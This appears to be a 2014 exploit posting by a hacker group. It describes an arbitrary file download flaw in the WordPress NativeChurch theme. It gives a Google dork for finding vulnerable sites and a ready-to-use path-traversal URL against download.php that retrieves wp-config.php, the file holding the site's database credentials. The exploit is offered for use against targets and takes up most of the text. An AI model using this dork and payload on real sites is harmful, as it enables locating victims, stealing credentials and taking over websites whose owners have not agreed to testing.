#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # Title : WordPress NativeChurch theme Arbitrary File Download Vulnerability # Author : alieye # # Vendor Homepage : # http://themeforest.net/item/nativechurch-multi-purpose-wordpress-theme/7082446 # http://www.freetemplatefiles.com/nativechurch-multi-purpose-wordpress-theme/ # # Contact : cseye_ut@yahoo.com # Risk : High # Class: Remote # Google Dork: inurl:/wp-content/themes/NativeChurch/ # Date: 01/09/2014 #++++++++++++++++++++++++++++++++++++++++++++++++++++++++ You can download any file from your target exploit: http://victim.com/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php #++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [#] Spt Tnx To ZOD14C , 4l130h1 , bully13 , 3.14nnph , amir and all cseye members [#] Thanks To All Iranian Hackers [#] website : http://cseye.vcp.ir/ #++++++++++++++++++++++++++++++++++++++++++++++++++++++++